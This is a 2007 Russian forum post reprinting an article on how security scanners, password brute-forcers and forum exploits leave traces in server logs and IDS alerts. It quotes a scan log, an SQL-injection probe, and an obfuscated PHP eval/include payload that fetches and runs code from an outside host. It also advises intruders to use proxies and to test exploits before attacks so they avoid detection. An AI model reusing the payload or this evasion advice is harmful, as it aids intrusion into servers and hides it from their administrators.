ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Чужие Статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Как подставляют сканнеры и эксплойты
  #1  
Старый 12.02.2007, 00:48
MagNomeTik
Познающий
Регистрация: 11.01.2007
Сообщений: 72
Провел на форуме:
538762

Репутация: 102
Отправить сообщение для MagNomeTik с помощью ICQ
По умолчанию Как подставляют сканнеры и эксплойты

Конечно же все мы когда либо пользовались сканнерами типа XSpider, LanSpy и т.д.. Так же большинство из нас пользуется эксплойтами которые пишут различные security-команды. При этом мы даже не задумываемся, или задумываемся совсем редко, о том, что сканнеры и эксплойты оставляют после себя огромную кучу следов, по которым Вас вычислить – дело часа, а то и минут 10. Сейчас я попытаюсь объяснить как именно Вас могут подставить эксплойты и сканнеры уязвимостей.

Для начала давайте рассмотрим сканнер безопасности XSpider. Безусловно, это лидер на рынке сканнеров безопасности. Но он создан именно для “открытого” сканирования. Самые первые следы могут быть найдены уже при начале сканирования – первым производится сканирование портов. Оно производится в большое количество потоков, поэтому легко обнаружается файрволом, соответственно администратор может с лёгкостью обнаружить в лог-файлах файрвола Ваш IP. Но это ещё пол беды. Максимум что Вам могут сделать за сканирование – предупредить, либо в будущем отфильтровывать все запросы с Вашего IP-адреса (бан по IP).

Идём дальше – XSpider, при обнаружения какой либо службы, в которой присутствует авторизация (Telnet, FTP, POP3 и т.д.), начинает подбирать к ней пароль, что тоже чревато последствиями. По большому счёту при подборе пароля есть 2 варианта развития событий:

1. Таймаут
2. Занесение попыток в логи

При первом варианте сервис обнаружает подбор пароля и на все, даже правильные, попытки авторизации начинает отказывать Вам в доступе. Соответственно администратору сообщается об этом.

При втором же варианте в логах появляется несколько сотен, а то и тысяч, строчек с попытками неверной авторизации, с промежутком в доли секунд, что явно указывает на подбор пароля. Это относится не только к XSpider, но и ко всем брутерам типа Brutus, Hydra и т.д..

Вот здесь есть лог ftp-сервера к которому я подбирал пароль с помощью Brutus-AET2. При подборе использовались словари которые идут в комплекте с Brutus-AET2. (users.txt,words.txt). Подбор только по этим словарям добавил в логи ровно 1000 строчек. Тот же XSpider имеет словари которые больше в тысячи раз.

Далее проходит анализ веб-контента и CGI-сканирование. Анализ веб-контента страшен тем, что сканнер начинает обнаружать уязвимостями самыми пресловутыми способами – подставляя в параметры кавычки, AND 1=1/*, всяческие теги в поля для ввода и т.д. Любая IDS сразу начнёт визжать и выдаст огромный список попыток атак. Конечно, Вы можете сказать – “там же есть галочка “Маскировать от IDS””. Хочу Вас огорчить – эта галочка практически ничего не значит, более-менее нормально настроенная IDS всё равно обнаружит попытки атак. К тому же, даже если IDS не имеется, Вы загадите логи так, что любой Вася из 9 класса, за шоколадку держащий сервер, обнаружит факт CGI-сканирования.

Для того, что бы больше Вас убедить я просканировал свой веб-сервер XSpider`ом используя профиль HTTPAll, предварительно вычистив у веб-сервера все логии полностью. После CGI-сканирования логи стали весить 642(!) кб. Лог заполненный результатами работы XSpider Вы так же можете посмотреть здесь.
Вот небольшой кусок из этого лога:

172.17.11.142 - - [21/Jan/2007:13:29:12 +0300] "GET /nkpyuetjqhiarwwk.htm HTTP/1.1" 400

172.17.11.142 - - [21/Jan/2007:13:29:12 +0300] "GET / HTTP/1.1" 302

172.17.11.142 - - [21/Jan/2007:13:29:12 +0300] "GET /https-admserv/bin/index HTTP/1.1" 404

172.17.11.142 - - [21/Jan/2007:13:29:12 +0300] "GET /Admin.po?proceed=yes HTTP/1.1" 404

172.17.11.142 - - [21/Jan/2007:13:29:13 +0300] "GET /Admin/index.jsp HTTP/1.1" 200

172.17.11.142 - - [21/Jan/2007:13:29:13 +0300] "GET /std.html HTTP/1.1" 404

172.17.11.142 - - [21/Jan/2007:13:29:13 +0300] "GET /servlet/ServletManager HTTP/1.1" 404

172.17.11.142 - - [21/Jan/2007:13:29:13 +0300] "GET /admin/contextAdmin/contextList.jsp HTTP/1.1" 200

172.17.11.142 - - [21/Jan/2007:13:29:14 +0300] "GET / HTTP/1.1" 302

172.17.11.142 - - [21/Jan/2007:13:29:14 +0300] "PUT /PTNSSnnxam.txt HTTP/1.1" 405


Как видите – первые 4 запроса сделаны в 13:29:12 – 100% cgi-сканирование.
Причём сканирование идёт со скоростью 4 запроса в секунду. На такую скорость сработает любая IDS. Ну и конечно же стоит упомянуть о том, что XSpider добавил своим сканированием 7068 строчек в лог-файл. Если Вы будете сканировать дохлый сайт какой ни будь компании, который посещают человека 2-3 в неделю (и то по ошибке), то Вы явно нарвётесь на неприятности. Самое лучшее, что можно сделать – сканировать/подбирать пароль через прокси. И то если Вы это сделаете, то будьте на 80% уверенны в том, что после Ваших действий Вас на той стороне уже будут ждать, а возможно и поменяют все пароли.

Далее по списку (если используется профиль Default) идёт поиск уязвимостей в остальных сервисах – удалённые переполнения буфера, DoS и т.д.. И мало кто из начинающих читает предупреждения или Help сканнера. Вот вырезка из справки XSpider – “Иногда, при плохом качестве связи с проверяемым хостом возможно ложное определение DoS-уязвимости (когда связь с хостом прервалась случайно, а XSpider сделал вывод, что прошла DoS-атака).” – отсюда делаем вывод - если DoS-атака пройдёт, то сервер реально может откинуться, но если верить той же справке, то такое происходит в 40% случаев. Обратите внимание ещё на то, что при настраивании профиля там ясно указывается - обнаружение некоторых уязвимостей может плохо кончится для сервера.

Ну, думаю что со сканнерами и с брутерами всё понятно. Давайте теперь перейдём к эксплойтам. Вы наверное ни раз уже пользовались ими. Но хоть один из Вас задумывался как они работают? Что они делают? Какие следы могут оставить? Я думаю что 70% читателей скажут “Нет”.

Большой популярностью (по мнению автора) пользуются эксплойты к форумам. Как Вы наверное уже знаете – на большинстве форумов распознавание пользователей происходит с помощью сессий. Имена сессий представляют из себя обычный набор букв и цифр – никаких посторонних или опасных знаков. Каждый кто заходит на форум получает сессию даже если он не авторизирован. Вот пример обычного имени сессии:
ab7bfc3f886270fd339dcce652fed1eb

А в эксплойте для ipb2.1.6 от RST как имя сессии передаётся строка ipb216_for_IDS. Так же, в каком-то эксплойте, (точно уже не помню) имя сессии было IDS_i_am_exploit. И таких примеров множество. Если Вы хотя бы немного знаете об IDS, то Вы наверное в курсе того что базы IDS часто обновляются, соответственно в них есть записи о том как распознать эксплоит.

Конечно же, IDS стоят не на всех веб-серверах, но это не спасёт Вас от вычисления в ~60% случаях использования эксплойтов. Возьмём, к примеру, эксплоит для IPB 2.1.5 от RST, который выполнял произвольные команды. Он создаёт топик называющийся justxpl, с примечанием justxpl justxpl. Топик содержит следующий текст:

r57ipbxplhohohoeval(include(chr(104).chr(116).chr( 116).chr(112).chr(58).chr(47).chr(47).chr(114).chr (115).chr(116).chr(46).chr(118).chr(111).chr(105). chr(100).chr(46).chr(114).chr(117).chr(47).chr(114 ).chr(53) .chr(55).chr(105).chr(112).chr(98). chr(105).chr(110).chr(99). chr(46). chr(116).chr(120).chr(116)))


Грамотный администратор сразу же поймёт в чём дело, а Вы лишний раз засветитесь.
Вот вырезка из жалобы одного администратора провайдеру:
“попытки взлома форума продолжаются – на этой неделе опять были созданы темы «justxpl». Автор лазит через прокси.”


А эксплойты для удалённого переполнения буфера или повышения привилегий вообще не стоит использовать предварительно не проверив их работу хотя бы на виртуальной машине. Данные типы эксплойтов опасны тем, что могут делать далеко не то что обещают. В эксплойте может существовать и защита от дурака. Я слышал о множестве случаев когда запускали эксплоит, который (как в комментариях писалось) через уязвимость в определённом сервисе давал атакующему командную строку с привилегиями администратора, а получали полное вырубание сервиса или DoS всей машины.
Эксплойты для поднятия привилегий через уязвимость в ядре вообще могут грохнуть ОС так, что придётся переустанавливать. А подумайте сами – за что дадут больше сроку: за то что Вы просто получили командную строку или за то что Вы убили ядро ОС и вывели сервер из рабочего состояния?
Надеюсь после прочтения данной статьи многие задумаются и начнут перед атаками тестировать эксплойты на виртуальных машинах или локальном веб-сервере.

Автор: Kuzya
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Немного о криптографии. \/\/hite Статьи 2 17.01.2010 20:08
Мой ржачный разговор в аське с кем-то вроде как с античата, как я подумал Дрэгги Болталка 21 22.07.2007 12:33
Как меня развели но при етом я поемел бобла All-Mal Болталка 7 28.11.2006 22:59
Как грамотно покакать в лесу D=P=CH= MOD= Болталка 8 30.09.2006 22:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ